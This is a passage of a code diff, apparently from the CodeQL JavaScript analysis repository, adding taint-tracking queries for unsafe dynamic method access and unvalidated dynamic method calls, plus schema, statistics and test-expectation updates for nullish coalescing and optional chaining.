exists (pr.getAnInvocation())
)
}
}
override string getMessage() {
result = " a method name to be called."
}
}
/**
* A sink for HTTP header writes with dynamically computed header name.
* This sink avoids double-flagging by ignoring `SetMultipleHeaders` since
* the multiple headers use case consists of an objects containing different
* header names as properties. This case is already handled by
* `PropertyWriteSink`.
/**
* A sink for HTTP header writes with dynamically computed header name.
* This sink avoids double-flagging by ignoring `SetMultipleHeaders` since
* the multiple headers use case consists of an objects containing different
* header names as properties. This case is already handled by
* `PropertyWriteSink`.
*/
class HeaderNameSink extends Sink, DataFlow::ValueNode {
HeaderNameSink() {
exists (HTTP::ExplicitHeaderDefinition hd |
not hd instanceof Express::SetMultipleHeaders and
astNode = hd.getNameExpr()
)
exists (HTTP::ExplicitHeaderDefinition hd |
not hd instanceof Express::SetMultipleHeaders and
astNode = hd.getNameExpr()
)
}
override string getMessage() {
result = " a header name."
}
}
/**
* A binary expression that sanitzes a value for remote property injection. That
* is, if a string is prepended or appended to the remote input, an attacker
* cannot access arbitrary properties.
*/
class ConcatSanitizer extends Sanitizer, DataFlow::ValueNode {
override BinaryExpr astNode;
ConcatSanitizer() {
astNode.getAnOperand() instanceof ConstantString
}
}
}

View File

@@ -0,0 +1,121 @@
/**
* Provides a taint-tracking configuration for reasoning about method invocations
* with a user-controlled method name on objects with unsafe methods.
*/
import javascript
import semmle.javascript.frameworks.Express
import PropertyInjectionShared
module UnsafeDynamicMethodAccess {
private import DataFlow::FlowLabel
/**
* A data flow source for unsafe dynamic method access.
*/
abstract class Source extends DataFlow::Node {
/**
* Gets the flow label relevant for this source.
*/
DataFlow::FlowLabel getFlowLabel() {
result = data()
}
}
/**
* A data flow sink for unsafe dynamic method access.
*/
abstract class Sink extends DataFlow::Node {
/**
* Gets the flow label relevant for this sink
*/
abstract DataFlow::FlowLabel getFlowLabel();
}
/**
* A sanitizer for unsafe dynamic method access.
*/
abstract class Sanitizer extends DataFlow::Node { }
/**
* Gets the flow label describing values that may refer to an unsafe
* function as a result of an attacker-controlled property name.
*/
UnsafeFunction unsafeFunction() { any() }
private class UnsafeFunction extends DataFlow::FlowLabel {
UnsafeFunction() { this = "UnsafeFunction" }
}
/**
* A taint-tracking configuration for reasoning about unsafe dynamic method access.
*/
class Configuration extends TaintTracking::Configuration {
Configuration() { this = "UnsafeDynamicMethodAccess" }
override predicate isSource(DataFlow::Node source, DataFlow::FlowLabel label) {
source.(Source).getFlowLabel() = label
}
override predicate isSink(DataFlow::Node sink, DataFlow::FlowLabel label) {
sink.(Sink).getFlowLabel() = label
}
override predicate isSanitizer(DataFlow::Node node) {
super.isSanitizer(node) or
node instanceof Sanitizer or
node instanceof PropertyInjection::Sanitizer
}
/**
* Holds if a property of the given object is an unsafe function.
*/
predicate hasUnsafeMethods(DataFlow::SourceNode node) {
PropertyInjection::hasUnsafeMethods(node) // Redefined here so custom queries can override it
}
override predicate isAdditionalFlowStep(DataFlow::Node src, DataFlow::Node dst, DataFlow::FlowLabel srclabel, DataFlow::FlowLabel dstlabel) {
// Reading a property of the global object or of a function
exists (DataFlow::PropRead read |
hasUnsafeMethods(read.getBase().getALocalSource()) and
src = read.getPropertyNameExpr().flow() and
dst = read and
(srclabel = data() or srclabel = taint()) and
dstlabel = unsafeFunction())
or
// Reading a chain of properties from any object with a prototype can lead to Function
exists (PropertyProjection proj |
not PropertyInjection::isPrototypeLessObject(proj.getObject().getALocalSource()) and
src = proj.getASelector() and
dst = proj and
(srclabel = data() or srclabel = taint()) and
dstlabel = unsafeFunction())
}
}
/**
* A source of remote user input, considered as a source for unsafe dynamic method access.
*/
class RemoteFlowSourceAsSource extends Source {
RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource }
}
/**
* The page URL considered as a flow source for unsafe dynamic method access.
*/
class DocumentUrlAsSource extends Source {
DocumentUrlAsSource() { isDocumentURL(asExpr()) }
}
/**
* A function invocation of an unsafe function, as a sink for remote unsafe dynamic method access.
*/
class CalleeAsSink extends Sink {
CalleeAsSink() {
this = any(DataFlow::InvokeNode node).getCalleeNode()
}
override DataFlow::FlowLabel getFlowLabel() {
result = unsafeFunction()
}
}
}

View File

@@ -0,0 +1,153 @@
/**
* Provides a taint-tracking configuration for reasoning about unvalidated dynamic
* method calls.
*/
import javascript
import semmle.javascript.frameworks.Express
import PropertyInjectionShared
private import semmle.javascript.dataflow.InferredTypes
module UnvalidatedDynamicMethodCall {
private import DataFlow::FlowLabel
/**
* A data flow source for unvalidated dynamic method calls.
*/
abstract class Source extends DataFlow::Node {
/**
* Gets the flow label relevant for this source.
*/
DataFlow::FlowLabel getFlowLabel() {
result = data()
}
}
/**
* A data flow sink for unvalidated dynamic method calls.
*/
abstract class Sink extends DataFlow::Node {
/**
* Gets the flow label relevant for this sink
*/
abstract DataFlow::FlowLabel getFlowLabel();
}
/**
* A sanitizer for unvalidated dynamic method calls.
*/
abstract class Sanitizer extends DataFlow::Node {
abstract predicate sanitizes(DataFlow::Node source, DataFlow::Node sink, DataFlow::FlowLabel lbl);
}
/**
* A flow label describing values read from a user-controlled property that
* may not be functions.
*/
private class MaybeNonFunction extends DataFlow::FlowLabel {
MaybeNonFunction() { this = "MaybeNonFunction" }
}
/**
* A flow label describing values read from a user-controlled property that
* may originate from a prototype object.
*/
private class MaybeFromProto extends DataFlow::FlowLabel {
MaybeFromProto() { this = "MaybeFromProto" }
}
/**
* A taint-tracking configuration for reasoning about unvalidated dynamic method calls.
*/
class Configuration extends TaintTracking::Configuration {
Configuration() { this = "UnvalidatedDynamicMethodCall" }
override predicate isSource(DataFlow::Node source, DataFlow::FlowLabel label) {
source.(Source).getFlowLabel() = label
}
override predicate isSink(DataFlow::Node sink, DataFlow::FlowLabel label) {
sink.(Sink).getFlowLabel() = label
}
override predicate isSanitizer(DataFlow::Node nd) {
super.isSanitizer(nd) or
nd instanceof PropertyInjection::Sanitizer
}
override predicate isAdditionalFlowStep(DataFlow::Node src, DataFlow::Node dst, DataFlow::FlowLabel srclabel, DataFlow::FlowLabel dstlabel) {
exists (DataFlow::PropRead read |
src = read.getPropertyNameExpr().flow() and
dst = read and
(srclabel = data() or srclabel = taint()) and
(dstlabel instanceof MaybeNonFunction
or
// a property of `Object.create(null)` cannot come from a prototype
not PropertyInjection::isPrototypeLessObject(read.getBase().getALocalSource()) and
dstlabel instanceof MaybeFromProto) and
// avoid overlapping results with unsafe dynamic method access query
not PropertyInjection::hasUnsafeMethods(read.getBase().getALocalSource())
)
}
}
/**
* A source of remote user input, considered as a source for unvalidated dynamic method calls.
*/
class RemoteFlowSourceAsSource extends Source {
RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource }
}
/**
* The page URL considered as a flow source for unvalidated dynamic method calls.
*/
class DocumentUrlAsSource extends Source {
DocumentUrlAsSource() { isDocumentURL(asExpr()) }
}
/**
* A function invocation of an unsafe function, as a sink for remote unvalidated dynamic method calls.
*/
class CalleeAsSink extends Sink {
InvokeExpr invk;
CalleeAsSink() {
this = invk.getCallee().flow() and
// don't flag invocations inside a try-catch
not invk.getASuccessor() instanceof CatchClause
}
override DataFlow::FlowLabel getFlowLabel() {
result instanceof MaybeNonFunction and
// don't flag if the type inference can prove that it is a function;
// this complements the `FunctionCheck` sanitizer below: the type inference can
// detect more checks locally, but doesn't provide inter-procedural reasoning
this.analyze().getAType() != TTFunction()
or
result instanceof MaybeFromProto
}
}
/**
* A check of the form `typeof x === 'function'`, which sanitizes away the `MaybeNonFunction`
* taint kind.
*/
class FunctionCheck extends TaintTracking::LabeledSanitizerGuardNode, DataFlow::ValueNode {
override EqualityTest astNode;
TypeofExpr t;
FunctionCheck() {
astNode.getAnOperand().getStringValue() = "function" and
astNode.getAnOperand().getUnderlyingValue() = t
}
override predicate sanitizes(boolean outcome, Expr e) {
outcome = astNode.getPolarity() and
e = t.getOperand().getUnderlyingValue()
}
override DataFlow::FlowLabel getALabel() {
result instanceof MaybeNonFunction
}
}
}

View File

@@ -338,6 +338,7 @@ case @expr.kind of
| 104 = @decorator_list
| 105 = @non_null_assertion
| 106 = @bigintliteral
| 107 = @nullishcoalescingexpr
;
@varaccess = @proper_varaccess | @export_varaccess;
@@ -357,7 +358,7 @@ case @expr.kind of
@comparison = @equalitytest | @ltexpr | @leexpr | @gtexpr | @geexpr;
@binaryexpr = @comparison | @lshiftexpr | @rshiftexpr | @urshiftexpr | @addexpr | @subexpr | @mulexpr | @divexpr | @modexpr | @expexpr | @bitorexpr | @xorexpr | @bitandexpr | @inexpr | @instanceofexpr | @logandexpr | @logorexpr;
@binaryexpr = @comparison | @lshiftexpr | @rshiftexpr | @urshiftexpr | @addexpr | @subexpr | @mulexpr | @divexpr | @modexpr | @expexpr | @bitorexpr | @xorexpr | @bitandexpr | @inexpr | @instanceofexpr | @logandexpr | @logorexpr | @nullishcoalescingexpr;
@assignment = @assignexpr | @assignaddexpr | @assignsubexpr | @assignmulexpr | @assigndivexpr | @assignmodexpr | @assignexpexpr | @assignlshiftexpr | @assignrshiftexpr | @assignurshiftexpr | @assignorexpr | @assignxorexpr | @assignandexpr;
@@ -1077,4 +1078,8 @@ xmllocations(
@dataflownode = @expr | @functiondeclstmt | @classdeclstmt | @namespacedeclaration | @enumdeclaration | @property;
/* Last updated 2017/07/11. */
@optionalchainable = @callexpr | @propaccess;
isOptionalChaining(int id: @optionalchainable ref);
/* Last updated 2018/10/23. */

View File

@@ -1370,6 +1370,10 @@
<v>100</v>
</e>
<e>
<k>@nullishcoalescingexpr</k>
<v>100</v>
</e>
<e>
<k>@xmldtd</k>
<v>1</v>
</e>
@@ -1393,6 +1397,14 @@
<k>@xmlcharacters</k>
<v>439958</v>
</e>
<e>
<k>@optionalchainable</k>
<v>100</v>
</e>
<e>
<k>@nullishcoalescingexpr</k>
<v>100</v>
</e>
</typesizes>
<stats>
<relation>
@@ -19773,6 +19785,18 @@
</columnsizes>
<dependencies/>
</relation>
<relation>
<name>isOptionalChaining</name>
<cardinality>100</cardinality>
<columnsizes>
<e>
<k>id</k>
<v>100</v>
</e>
</columnsizes>
<dependencies/>
</relation>
<relation>
<name>rangeQuantifierLowerBound</name>
<cardinality>146</cardinality>

View File

@@ -25,6 +25,7 @@
| tst.js:4:5:4:12 | y | tst.js:12:6:12:6 | y |
| tst.js:4:5:4:12 | y | tst.js:13:5:13:5 | y |
| tst.js:4:5:4:12 | y | tst.js:14:9:14:9 | y |
| tst.js:4:5:4:12 | y | tst.js:105:6:105:6 | y |
| tst.js:4:9:4:12 | "hi" | tst.js:4:5:4:12 | y |
| tst.js:9:2:9:2 | x | tst.js:9:1:9:3 | (x) |
| tst.js:10:4:10:4 | y | tst.js:10:1:10:4 | x, y |
@@ -59,6 +60,7 @@
| tst.js:25:1:25:3 | x | tst.js:32:1:32:0 | x |
| tst.js:25:1:25:3 | x | tst.js:57:7:57:7 | x |
| tst.js:25:1:25:3 | x | tst.js:58:11:58:11 | x |
| tst.js:25:1:25:3 | x | tst.js:105:1:105:1 | x |
| tst.js:28:2:28:1 | x | tst.js:29:3:29:3 | x |
| tst.js:28:2:29:3 | () =>\\n x | tst.js:28:1:30:1 | (() =>\\n ... ables\\n) |
| tst.js:29:3:29:3 | x | tst.js:28:1:30:3 | (() =>\\n ... les\\n)() |
@@ -117,6 +119,8 @@
| tst.js:101:13:101:16 | rest | tst.js:101:3:101:16 | [ , z ] = rest |
| tst.js:102:10:102:18 | x + y + z | tst.js:98:1:103:17 | (functi ... 3, 0 ]) |
| tst.js:103:4:103:16 | [ 19, 23, 0 ] | tst.js:98:11:98:24 | [ x, ...rest ] |
| tst.js:105:1:105:1 | x | tst.js:105:1:105:6 | x ?? y |
| tst.js:105:6:105:6 | y | tst.js:105:1:105:6 | x ?? y |
| tst.ts:1:1:1:1 | A | tst.ts:1:11:1:11 | A |
| tst.ts:1:1:1:1 | A | tst.ts:7:1:7:0 | A |
| tst.ts:1:1:5:1 | A | tst.ts:7:1:7:0 | A |

View File

@@ -102,4 +102,5 @@ var vs2 = ( for (v of o) v ); // generator comprehensions are not analysed
return x + y + z;
})([ 19, 23, 0 ]);
x ?? y; // flow through short-circuiting operator
// semmle-extractor-options: --experimental

View File

@@ -1,14 +1,18 @@
| a.js:1:9:1:22 | require('./b') | ./b | b.js:1:1:8:0 | <toplevel> |
| a.js:3:6:3:23 | require('./sub/c') | ./sub/c | sub/c.js:1:1:4:0 | <toplevel> |
| a.js:4:6:4:29 | require ... /d.js') | ./sub/../d.js | d.js:1:1:7:15 | <toplevel> |
| a.js:7:1:7:18 | require('./sub/c') | ./sub/c | sub/c.js:1:1:4:0 | <toplevel> |
| a.js:10:1:10:18 | require(__dirname) | | index.js:1:1:3:0 | <toplevel> |
| a.js:11:1:11:25 | require ... + '/e') | /e | e.js:1:1:7:0 | <toplevel> |
| a.js:12:1:12:28 | require ... + 'c') | ./sub/c | sub/c.js:1:1:4:0 | <toplevel> |
| b.js:1:1:1:18 | require('./sub/c') | ./sub/c | sub/c.js:1:1:4:0 | <toplevel> |
| d.js:7:1:7:14 | require('foo') | foo | sub/f.js:1:1:4:17 | <toplevel> |
| index.js:2:1:2:41 | require ... b.js")) | /index.js/../b.js | b.js:1:1:8:0 | <toplevel> |
| mjs-files/require-from-js.js:1:12:1:36 | require ... on-me') | ./depend-on-me | mjs-files/depend-on-me.mjs:1:1:7:1 | <toplevel> |
| mjs-files/require-from-js.js:2:12:2:39 | require ... me.js') | ./depend-on-me.js | mjs-files/depend-on-me.js:1:1:8:0 | <toplevel> |
| mjs-files/require-from-js.js:3:12:3:40 | require ... e.mjs') | ./depend-on-me.mjs | mjs-files/depend-on-me.mjs:1:1:7:1 | <toplevel> |
| sub/c.js:1:1:1:15 | require('../a') | ../a | a.js:1:1:14:0 | <toplevel> |
| a.js:1:9:1:22 | require('./b') |
| a.js:2:7:2:19 | require('fs') |
| a.js:3:6:3:23 | require('./sub/c') |
| a.js:4:6:4:29 | require ... /d.js') |
| a.js:7:1:7:18 | require('./sub/c') |
| a.js:10:1:10:18 | require(__dirname) |
| a.js:11:1:11:25 | require ... + '/e') |
| a.js:12:1:12:28 | require ... + 'c') |
| b.js:1:1:1:18 | require('./sub/c') |
| d.js:1:1:1:38 | require ... s/ini') |
| d.js:7:1:7:14 | require('foo') |
| f.js:2:1:2:7 | r("fs") |
| index.js:1:12:1:26 | require('path') |
| index.js:2:1:2:41 | require ... b.js")) |
| mjs-files/require-from-js.js:1:12:1:36 | require ... on-me') |
| mjs-files/require-from-js.js:2:12:2:39 | require ... me.js') |
| mjs-files/require-from-js.js:3:12:3:40 | require ... e.mjs') |
| sub/c.js:1:1:1:15 | require('../a') |

View File

@@ -1,6 +1,4 @@
import semmle.javascript.NodeJS
from Require r, string fullpath, string prefix
where fullpath = r.getImportedPath().getValue() and
sourceLocationPrefix(prefix)
select r, fullpath.replaceAll(prefix, ""), r.getImportedModule()
from Require r
select r

View File

@@ -0,0 +1,14 @@
| a.js:1:9:1:22 | require('./b') | ./b | b.js:1:1:8:0 | <toplevel> |
| a.js:3:6:3:23 | require('./sub/c') | ./sub/c | sub/c.js:1:1:4:0 | <toplevel> |
| a.js:4:6:4:29 | require ... /d.js') | ./sub/../d.js | d.js:1:1:7:15 | <toplevel> |
| a.js:7:1:7:18 | require('./sub/c') | ./sub/c | sub/c.js:1:1:4:0 | <toplevel> |
| a.js:10:1:10:18 | require(__dirname) | | index.js:1:1:3:0 | <toplevel> |
| a.js:11:1:11:25 | require ... + '/e') | /e | e.js:1:1:7:0 | <toplevel> |
| a.js:12:1:12:28 | require ... + 'c') | ./sub/c | sub/c.js:1:1:4:0 | <toplevel> |
| b.js:1:1:1:18 | require('./sub/c') | ./sub/c | sub/c.js:1:1:4:0 | <toplevel> |
| d.js:7:1:7:14 | require('foo') | foo | sub/f.js:1:1:4:17 | <toplevel> |
| index.js:2:1:2:41 | require ... b.js")) | /index.js/../b.js | b.js:1:1:8:0 | <toplevel> |
| mjs-files/require-from-js.js:1:12:1:36 | require ... on-me') | ./depend-on-me | mjs-files/depend-on-me.mjs:1:1:7:1 | <toplevel> |
| mjs-files/require-from-js.js:2:12:2:39 | require ... me.js') | ./depend-on-me.js | mjs-files/depend-on-me.js:1:1:8:0 | <toplevel> |
| mjs-files/require-from-js.js:3:12:3:40 | require ... e.mjs') | ./depend-on-me.mjs | mjs-files/depend-on-me.mjs:1:1:7:1 | <toplevel> |
| sub/c.js:1:1:1:15 | require('../a') | ../a | a.js:1:1:14:0 | <toplevel> |

View File

@@ -0,0 +1,6 @@
import semmle.javascript.NodeJS
from Require r, string fullpath, string prefix
where fullpath = r.getImportedPath().getValue() and
sourceLocationPrefix(prefix)
select r, fullpath.replaceAll(prefix, ""), r.getImportedModule()

Some files were not shown because too many files have changed in this diff Show More